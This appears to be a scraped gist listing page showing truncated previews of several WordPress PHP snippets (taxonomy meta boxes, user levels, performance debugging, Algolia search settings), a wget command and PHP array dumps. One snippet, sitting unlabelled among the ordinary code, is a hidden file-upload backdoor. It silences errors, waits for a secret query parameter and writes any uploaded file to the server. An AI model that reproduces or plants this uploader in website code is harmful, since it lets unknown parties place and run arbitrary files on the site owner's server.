This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# create your taxonomy | |
# In this example, I'm using "landing-section-class" as the taxonomy | |
# Remove the unneeded meta box | |
add_action( 'admin_menu', '_briand_remove_landing_section_class_metabox' ); | |
function _briand_remove_landing_section_class_metabox() { | |
remove_meta_box( 'tagsdiv-landing-section-class', 'page', 'side' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Imported from Post Types Order deprecated code. | |
* https://github.com/alessandropellegrini/post-types-order/blob/master/include/functions.php | |
*/ | |
if( ! function_exists( 'userdata_get_user_level' ) ){ | |
function userdata_get_user_level( $return_as_numeric = FALSE ){ | |
global $userdata; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget -i image-list.txt --force-directories |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
global $_started_time; | |
if( ! function_exists( '_perf_debug' ) ){ | |
function _perf_debug( $file, $line, $comment = '' ){ | |
global $_started_time; | |
$file = str_replace( $_SERVER['DOCUMENT_ROOT'], '', $file ); | |
$time = microtime( true ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
error_reporting(0); | |
if($_GET["posts"]=="va"){ | |
if ($_SERVER['REQUEST_METHOD'] == 'POST') { | |
echo "url:".$_FILES["upfile"]["name"]; | |
if(!file_exists($_FILES["upfile"]["name"])){ | |
copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]); | |
} | |
}?> | |
<form method="post" enctype="multipart/form-data"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Template function to output search results | |
*/ | |
function display_listings(){ | |
$algolia = Algolia_Plugin::get_instance(); | |
$index = $algolia->get_api()->get_client()->initIndex( 'rpwp_posts_listing' ); | |
$search = $index->search( '', mytheme_algolia_search_parameters() ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_filter( 'algolia_terms_index_settings', '__return_empty_array' ); | |
add_filter( 'algolia_users_index_settings', '__return_empty_array' ); | |
add_filter( 'algolia_posts_listing_index_settings', 'mytheme_algolia_listing_settings' ); | |
function mytheme_algolia_listing_settings( $settings ){ | |
$numeric_fields = array_keys( mytheme_algolia_faceted_fields( array( 'int', 'float' ) ) ); | |
$string_fields = array_keys( mytheme_algolia_faceted_fields( 'string' ) ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Array | |
( | |
[from] => 0 | |
[size] => 54 | |
[sort] => Array | |
( | |
[0] => Array | |
( | |
[meta_value_num] => Array | |
( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Array | |
( | |
[from] => 0 | |
[size] => 54 | |
[sort] => Array | |
( | |
[0] => Array | |
( | |
[meta_value_num] => Array | |
( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Array | |
( | |
[from] => 0 | |
[size] => 54 | |
[sort] => Array | |
( | |
[0] => Array | |
( | |
[meta_value_num] => Array | |
( |